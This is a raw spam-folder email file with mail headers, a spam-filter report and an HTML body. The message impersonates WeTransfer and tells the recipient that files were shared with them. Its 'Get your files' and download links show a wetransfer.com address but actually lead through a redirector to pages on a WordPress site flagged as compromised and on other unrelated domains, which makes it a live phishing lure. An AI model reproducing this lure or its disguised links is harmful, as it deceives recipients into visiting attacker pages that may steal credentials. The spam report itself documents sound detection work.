File: /home/govancoz/mail/.spam/new/1757152288.M13715P493236.zacp120.webway.host,S=18038,W=18332
Return-Path: <wetrasend@hosclean.cfd>
Delivered-To: govancoz+spam@zacp120.webway.host
Received: from zacp120.webway.host
by zacp120.webway.host with LMTP
id kLDKOh8EvGi0hgcA8rC0kQ
(envelope-from <wetrasend@hosclean.cfd>)
for <govancoz+spam@zacp120.webway.host>; Sat, 06 Sep 2025 11:51:27 +0200
Return-path: <wetrasend@hosclean.cfd>
Envelope-to: recep@govan.co.za
Delivery-date: Sat, 06 Sep 2025 11:51:28 +0200
Received: from oneadrix.shop ([45.143.166.152]:41905)
by zacp120.webway.host with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384
(Exim 4.98.2)
(envelope-from <wetrasend@hosclean.cfd>)
id 1uupZt-00000002H0n-24Dp
for recep@govan.co.za;
Sat, 06 Sep 2025 11:51:27 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
d=hosclean.cfd; s=dkim; h=Content-Type:MIME-Version:Message-ID:Date:Subject:
To:From:Sender:Reply-To:Cc:Content-Transfer-Encoding:Content-ID:
Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
:Resent-Message-ID:In-Reply-To:References:List-Id:List-Help:List-Unsubscribe:
List-Subscribe:List-Post:List-Owner:List-Archive;
bh=2gba7KzHnintN6FF+q9lxozcvPBkfMwjIGKbog7W3bA=; b=DnoUDwz0+qeON95SMQUgQiPhGD
OGGBB9Dt3oiXl6uQFoFCNCEJnBkDC2SKc5/Eb0D4YbDyH/hObZtxVwNiteTS/n7Hz/eSqnR1PuNHF
JUlTvYBREQOiDEf3BP/ZXt74Lhq3V9Cdy07LNeebGJR6QULAbPACfu/QCJeDJxIvSoJU=;
Received: from [161.248.178.216]
by hosclean.cfd with esmtpsa (TLS1.3) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
(Exim 4.95)
(envelope-from <wetrasend@hosclean.cfd>)
id 1usJOR-008CTs-1m
for recep@govan.co.za;
Sat, 30 Aug 2025 11:05:11 +0000
From: ''We Transfer'' <wetrasend@hosclean.cfd>
To: recep@govan.co.za
Date: 30 Aug 2025 18:05:09 +0700
Message-ID: <20250830180509.79351DD4E68E0424@hosclean.cfd>
MIME-Version: 1.0
Content-Type: multipart/related;
boundary="----=_NextPart_000_0012_D4EEF703.C52CFF21"
X-SPF-Fail: YES
X-Spam-Status: Yes, score=8.7
X-Spam-Score: 87
X-Spam-Bar: ++++++++
X-Spam-Report: Spam detection software, running on the system "zacp120.webway.host",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: recep@govan.co.za Document shared via WeTransfer Get your
files Download Link https://wetransfer.com/downloads/ e6bb0ac1d0846e7c5b297e98002705a320241002040704/
477e948a81ad20ee949e2b81f516f1552024100 [...]
Content analysis details: (8.7 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was blocked.
See
http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
for more information.
[URI: surfacedesigners.us]
[URI: klclick3.com]
[URI: wetransfer.com]
[URI: wl.co]
[URI: hosclean.cfd]
[URI: baypllotter.com]
0.0 KAM_BODY_MARKETINGBL_PCCC Body contains URI associated with
mass-marketing (https://raptor.pccc.com/RBL)
[URI: klclick3.com]
2.5 URIBL_DBL_PHISH Contains a Phishing URL listed in the Spamhaus DBL
blocklist
[URI: hosclean.cfd]
-0.0 SPF_PASS SPF: sender matches SPF record
-0.0 SPF_HELO_PASS SPF: HELO matches SPF record
1.9 URIBL_ABUSE_SURBL Contains an URL listed in the ABUSE SURBL blocklist
[URI: hosclean.cfd]
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid
-0.1 DKIM_VALID_EF Message has a valid DKIM or DK signature from
envelope-from domain
-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
domain
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[45.143.166.152 listed in bl.score.senderscore.com]
0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[45.143.166.152 listed in sa-accredit.habeas.com]
0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[45.143.166.152 listed in sa-trusted.bondedsender.org]
0.1 HTTPS_HTTP_MISMATCH BODY: No description available.
0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
0.0 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar or identical to
background
0.0 HTML_MESSAGE BODY: HTML included in message
1.0 KAM_MARKETINGBL_PCCC Message contains URI associated with
mass-marketing (https://raptor.pccc.com/RBL)
0.8 KAM_INFOUSMEBIZ Prevalent use of
.info|.us|.me|.me.uk|.biz|xyz|id|rocks|life
domains in spam/malware
0.0 KAM_SHORT Use of a URL Shortener for very short URL
2.5 URI_WP_HACKED_2 URI for compromised WordPress site, possible malware
X-Spam-Flag: YES
Subject: ***SPAM*** You have received files via WeTransfer recep@govan.co.za
------=_NextPart_000_0012_D4EEF703.C52CFF21
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
<!DOCTYPE HTML>
<html><head><title></title>
<meta http-equiv=3D"X-UA-Compatible" content=3D"IE=3Dedge">
</head>
<body style=3D"margin: 0.4em;">
<table style=3D"margin: 0px; padding: 0px; width: 600px; color: rgb(36, 36,=
36); text-transform: none; line-height: inherit; letter-spacing: normal; f=
ont-family: Arial, Helvetica, sans-serif; font-size: 15px; font-style: norm=
al; font-weight: 400; word-spacing: 0px; white-space: normal; border-collap=
se: collapse; table-layout: fixed; border-spacing: 0px; orphans: 2; widows:=
2; font-stretch: inherit; font-feature-settings: inherit; background-color=
: rgb(244, 244, 244); font-variant-ligatures:=20
normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-dec=
oration-thickness: initial; text-decoration-style: initial; text-decoration=
-color: initial; font-variant-numeric: inherit; font-variant-east-asian: in=
herit; font-kerning: inherit;" border=3D"0" cellspacing=3D"0" cellpadding=
=3D"0"><tbody><tr><td align=3D"left" valign=3D"top" style=3D"margin: 0px; p=
adding: 55px 0px 0px; width: 600px;">
<table style=3D"font: inherit; margin: 0px; padding: 0px; width: 600px; bor=
der-collapse: collapse; table-layout: fixed; border-spacing: 0px; font-size=
-adjust: inherit; font-stretch: inherit;" border=3D"0" cellspacing=3D"0" ce=
llpadding=3D"0"><tbody><tr><td align=3D"left" valign=3D"top" style=3D"backg=
round: no-repeat 50% 50% / cover; margin: 0px; padding: 0px; width: 600px; =
font-size: 10px;" bgcolor=3D"#5268ff"><center>
<table align=3D"center" style=3D"font: inherit; margin: 0px auto; padding: =
0px; width: auto; border-collapse: collapse; table-layout: fixed; border-sp=
acing: 0px; font-size-adjust: inherit; font-stretch: inherit;" border=3D"0"=
cellspacing=3D"0" cellpadding=3D"0"><tbody><tr><td height=3D"16" align=3D"=
left" valign=3D"top" style=3D"margin: 0px; padding: 0px; width: 56px; heigh=
t: 16px;">
<table align=3D"center" style=3D"font: inherit; margin: 0px auto; padding: =
0px; width: auto; border-collapse: collapse; table-layout: fixed; border-sp=
acing: 0px; font-size-adjust: inherit; font-stretch: inherit;" border=3D"0"=
cellspacing=3D"0" cellpadding=3D"0"><tbody><tr><td height=3D"11" align=3D"=
left" valign=3D"top" style=3D"margin: 0px; padding: 0px; width: 56px; heigh=
t: 11px;"></td></tr></tbody></table><strong>
<img width=3D"86" height=3D"30" style=3D"border-color: rgb(0, 0, 0); width:=
152px; height: 85px; margin-right: 0px;" alt=3D"image.png" src=3D"cid:imag=
es.png" jslog=3D"138226; u014N:xr6bB; 53:WzAsMF0." data-surl=3D"cid:ii_mban=
x7zl0"></strong></td></tr><tr><td align=3D"left" valign=3D"top" style=3D"ma=
rgin: 0px; padding: 0px; width: 56px;">
<a title=3D"https://ctrk.klclick3.com/l/01JV2CTHN5NPNS5FJRA84VG3VS_0#cmF5c3=
VzdGFsYUB6cmlkZXJzLmNvbQ=3D=3D" style=3D"border-width: 0px; border-color: c=
urrentColor; font: inherit; margin: 0px; padding: 0px; color: rgb(17, 85, 2=
04); vertical-align: baseline; font-size-adjust: inherit; font-stretch: inh=
erit;" href=3D"https://ctrk.klclick3.com/l/01JV2CTHN5NPNS5FJRA84VG3VS_0#cmF=
5c3VzdGFsYUB6cmlkZXJzLmNvbQ=3D=3D" target=3D"_blank" rel=3D"noopener norefe=
rrer"=20
data-saferedirecturl=3D"https://www.google.com/url?q=3Dhttps://ctrk.klclick=
3.com/l/01JV2CTHN5NPNS5FJRA84VG3VS_0%23cmF5c3VzdGFsYUB6cmlkZXJzLmNvbQ%3D%3D=
&source=3Dgmail&ust=3D1754675807049000&usg=3DAOvVaw16YS5FjW7z5T=
TO0Rq74K1R"><br></a></td></tr><tr><td height=3D"11" align=3D"left" valign=
=3D"top" style=3D"margin: 0px; padding: 0px; width: 56px; height: 11px;"></=
td></tr></tbody></table></center></td></tr></tbody></table></td></tr></tbod=
y></table>
<table style=3D"margin: 0px; padding: 0px; width: 600px; color: rgb(36, 36,=
36); text-transform: none; line-height: inherit; letter-spacing: normal; f=
ont-family: Arial, Helvetica, sans-serif; font-size: 15px; font-style: norm=
al; font-weight: 400; word-spacing: 0px; white-space: normal; border-collap=
se: collapse; table-layout: fixed; border-spacing: 0px; orphans: 2; widows:=
2; font-stretch: inherit; font-feature-settings: inherit; font-variant-lig=
atures: normal; font-variant-caps: normal;=20
-webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-de=
coration-style: initial; text-decoration-color: initial; font-variant-numer=
ic: inherit; font-variant-east-asian: inherit; font-kerning: inherit;" bgco=
lor=3D"#ffffff" border=3D"0" cellspacing=3D"0" cellpadding=3D"0"><tbody><tr=
><td align=3D"left" valign=3D"top" style=3D"margin: 0px; padding: 0px; widt=
h: 600px;">
<table style=3D"font: inherit; margin: 0px; padding: 0px; width: 600px; bor=
der-collapse: collapse; table-layout: fixed; border-spacing: 0px; font-size=
-adjust: inherit; font-stretch: inherit;" border=3D"0" cellspacing=3D"0" ce=
llpadding=3D"0"><tbody><tr><td align=3D"left" valign=3D"top" style=3D"margi=
n: 0px; padding: 0px; width: 600px;">
<table style=3D"font: inherit; margin: 0px; padding: 0px; width: 600px; bor=
der-collapse: collapse; table-layout: fixed; border-spacing: 0px; font-size=
-adjust: inherit; font-stretch: inherit;" border=3D"0" cellspacing=3D"0" ce=
llpadding=3D"0"><tbody><tr><td align=3D"center" valign=3D"top" style=3D"mar=
gin: 0px; padding: 60px 80px 0px; width: 440px; color: rgb(23, 24, 26); lin=
e-height: 30px; font-size: 26px;">
<span style=3D"border-width: 0px; border-color: currentColor; font: inherit=
; margin: 0px; padding: 0px; color: rgb(82, 104, 255); vertical-align: base=
line; font-size-adjust: inherit; font-stretch: inherit;">recep@govan.co.za<=
/span><br><span style=3D"border-width: 0px; border-color: currentColor; fon=
t: inherit; margin: 0px; padding: 0px; color: inherit; vertical-align: base=
line; display: inline-flex; font-size-adjust: inherit; font-stretch: inheri=
t;">Document shared via WeTransfer</span></td></tr><tr>
<td align=3D"left" valign=3D"top" style=3D'margin: 0px; padding: 50px 80px =
0px; width: 440px; color: rgb(121, 124, 127); line-height: 24px; font-famil=
y: "Fakt Pro", "Segoe UI", "SanFrancisco Display", Arial, sans-serif; font-=
size: 14px;'></td></tr><tr><td align=3D"left" valign=3D"top" style=3D"margi=
n: 0px; padding: 40px 160px; width: 280px;">
<table style=3D"font: inherit; margin: 0px; padding: 0px; width: 280px; bor=
der-collapse: collapse; table-layout: fixed; border-spacing: 0px; font-size=
-adjust: inherit; font-stretch: inherit;" border=3D"0" cellspacing=3D"0" ce=
llpadding=3D"0"><tbody><tr><td align=3D"left" valign=3D"top" style=3D"margi=
n: 0px; padding: 0px; width: 280px;">
<a title=3D"https://texastexas.com/index/indxx.html?ruqdhtfwgnhyw" style=3D=
"border-width: 0px; border-color: currentColor; margin: 0px; padding: 15px =
20px; border-radius: 25px; text-align: center; color: rgb(255, 255, 255); l=
ine-height: inherit; font-family: inherit; font-size: 14px; font-style: inh=
erit; font-variant: inherit; font-weight: inherit; vertical-align: baseline=
; display: block; font-stretch: inherit; font-feature-settings: inherit; ba=
ckground-color: rgb(82, 104,=20
255); font-kerning: inherit; text-decoration-line: none;" href=3D"https://l=
=2Ewl.co/l?u=3Dhttps://surfacedesigners.us/wp-includes/images/Wetr/index.ht=
ml" target=3D"_blank" rel=3D"noopener noreferrer" data-saferedirecturl=3D"h=
ttps://www.google.com/url?q=3Dhttps://l.wl.co/l?u%3Dhttp://baypllotter.com/=
Drive/wetr.html&source=3Dgmail&ust=3D1754675807049000&usg=3DAOv=
Vaw07XIdxxH6sZrD-5pILDIZl">Get your files</a></td></tr></tbody></table></td=
></tr><tr>
<td align=3D"left" valign=3D"top" style=3D"margin: 0px; padding: 40px 80px =
0px; width: 440px;"><table style=3D"font: inherit; margin: 0px; padding: 0p=
x; width: 440px; border-collapse: collapse; table-layout: fixed; border-spa=
cing: 0px; font-size-adjust: inherit; font-stretch: inherit;" border=3D"0" =
cellspacing=3D"0" cellpadding=3D"0"><tbody><tr>
<td align=3D"left" valign=3D"top" style=3D"margin: 0px; padding: 0px; width=
: 440px; line-height: 0; font-size: 1px; border-bottom-color: rgb(244, 244,=
244); border-bottom-width: 2px; border-bottom-style: solid;"> </td></=
tr></tbody></table></td></tr><tr><td align=3D"left" valign=3D"top" style=3D=
'margin: 0px; padding: 50px 80px 0px; width: 440px; color: rgb(121, 124, 12=
7); line-height: 24px; font-family: "Fakt Pro", "Segoe UI", "SanFrancisco D=
isplay", Arial, sans-serif; font-size: 14px;'>
<span style=3D"border-width: 0px; border-color: currentColor; margin: 0px; =
padding: 0px; color: rgb(23, 24, 26); line-height: inherit; font-family: in=
herit; font-size: 18px; font-style: inherit; font-variant: inherit; font-we=
ight: inherit; vertical-align: baseline; font-stretch: inherit; font-featur=
e-settings: inherit; font-kerning: inherit;">Download Link</span><br>
<a title=3D"https://texastexas.com/index/indxx.html?mqufgwjexkmwaulxthcq" s=
tyle=3D"border-width: 0px; border-color: currentColor; font: inherit; margi=
n: 0px; padding: 0px; color: rgb(23, 24, 26); vertical-align: baseline; fon=
t-size-adjust: inherit; font-stretch: inherit;" href=3D"https://l.wl.co/l?u=
=3Dhttps://surfacedesigners.us/wp-includes/images/Wetr/index.html" target=
=3D"_blank" rel=3D"noopener noreferrer"=20
data-saferedirecturl=3D"https://www.google.com/url?q=3Dhttps://l.wl.co/l?u%=
3Dhttp://baypllotter.com/Drive/wetr.html&source=3Dgmail&ust=3D17546=
75807049000&usg=3DAOvVaw07XIdxxH6sZrD-5pILDIZl"><span style=3D"border-w=
idth: 0px; border-color: currentColor; font: inherit; margin: 0px; padding:=
0px; color: rgb(82, 104, 255); vertical-align: baseline; font-size-adjust:=
inherit; font-stretch: inherit;">https://wetransfer.com/<wbr>downloads/ e6=
bb0ac1d0846e7c5b297e98002705<wbr>a320241002040704/<wbr>
477e948a81ad20ee949e2b81f516f1<wbr>5520241002040806/f657c1</span></a></td><=
/tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table>
</body></html>
------=_NextPart_000_0012_D4EEF703.C52CFF21
Content-Type: image/png; name="images.png"
Content-Transfer-Encoding: base64
Content-ID: <images.png>
Content-Disposition: inline; filename="images.png"
iVBORw0KGgoAAAANSUhEUgAAAKUAAACUCAMAAADF0xngAAAAb1BMVEX///9SaP9OZf9KYv9H
YP9AWv9FXv9CXP/W2v/L0P9qfP/9/f/19v/4+f/w8v86Vv/l6P/P1P/HzP9Ybf9wgf92hv+1
vf+CkP9+jP/q7P++xf9idf+Pm/+psv+VoP/g4/+irP+Hlf+bpv80Uf+vuP9oVULVAAAEJElE
QVR4nO2ZaReiIBSGEwRxSVNzSTTb/v9vHDUrFzIEZ86Zc+7zMQRf5K602wEAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA8F/i+aeasTC07ajDtsOQ1fXJ91zJFfZ+w/4vyTux4lJmeXJ0eBwbBkLY
bMEIGTHnjpPkWXlJ2WlxEZaWzQoNSXZO60317ev0yq2AUBM3mhqMKd2vCGOTkoDwrGKeaJtR
Rgh9rtA+TQMzC/2tRNYZJuZc2VcQJjQJp6scKk7M6aMmcR7b6GTxbPHfYBSNV3nE4o0i6kTi
967COyqIbN4eH4Y7dcj3J+9nkX2sg1kqIg2DpJ81IoSXHqWZtszq+1dYxLy+l0jxD6umR12V
pdKBNwfJXys8rJ+uR26aKrPFw1pQGfcLhFLxgempvGqqPHAZkeZVLxmVVFElXzXf0ktEN0WV
OOmmM0nnI5WWylTRx+nTIbikwWA9Nw8VVZJHN1vWqt/OpkatGImCLpOfpX3P0lLpxysKjQG4
dQc5B++gWiq9RCkUId4WmqH0QSCkpdK9KR057nJzJV0EaHrPLlVT2bm4/DlYFz2VtopIA3cl
kSFtlkQzRZ7kPWBA3L7VvUtvKtdt1xIFlYi3jcJJXqV2wa6SI3HezqxlVVqlrshdGKxXaXVp
mUnONB3ZXv47e+lz+3Cvv6gU9RbW8fBLgwQK7hN0E+cnjvhtqhObpX53tlMxzKdZ7vyZymbA
TgbdPaI036LTbYhWl0XPgkgQidoU40cZugekIbgbZbjJh9wpRcw+Rs8rFfM54LOiYbv7l4b9
2t4HHfs7rXw2MVi+7dKhWpnK8fk1cVZtWHqdwxJsnUgDFf1EQanOt4g6QlxHbJiCO8InL3s7
zSea58VX6XARxSKEOBcWPX372CLoKARn7m3j5wdBqkNxc66hqEcM7PdEWzBMqrFrs9vRqTbx
dkEswp3xhfNgg7C3ONEwj8U7b7vR1aAYEc27jSePmbPS3r7SmTHQ86B2sEUFB7Jo8ijsKL05
lDy/drBFBqqnBohov3nXmR7qqFZ0c3EUw1abfOh7Vap769ayn1690VewmRU+yBkFbibXKQfp
/KXrKcYqcfmxo0kAMC+TmTJVADI2yUl+PF52cEXmj4Mimd6elRIy6WRrqozKt77m6Rl5yLyx
9q4/Kz/sbFR3HOhw0fFYNhgjs396dt7tx9dEaKu/0dyBFDRRUn88BDuCPOJeyJILYWO+M1U+
JQed5bjiHW5wIZq7Yw79phPRfMsC5NKfm5XPPpd7fo19yyFexYXfExH+0G8gh1KyACOEg0Rg
6ft+jH9PdH4aB+aoikLIDHi6Zb3eEZZ5frXFY6wd+5Hm6kvuxJi2mCaOj3n114pNPU7MLh4N
aWSzzb8iAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/gD8/tjfXs5EwEgAAAABJRU5ErkJggg==
------=_NextPart_000_0012_D4EEF703.C52CFF21--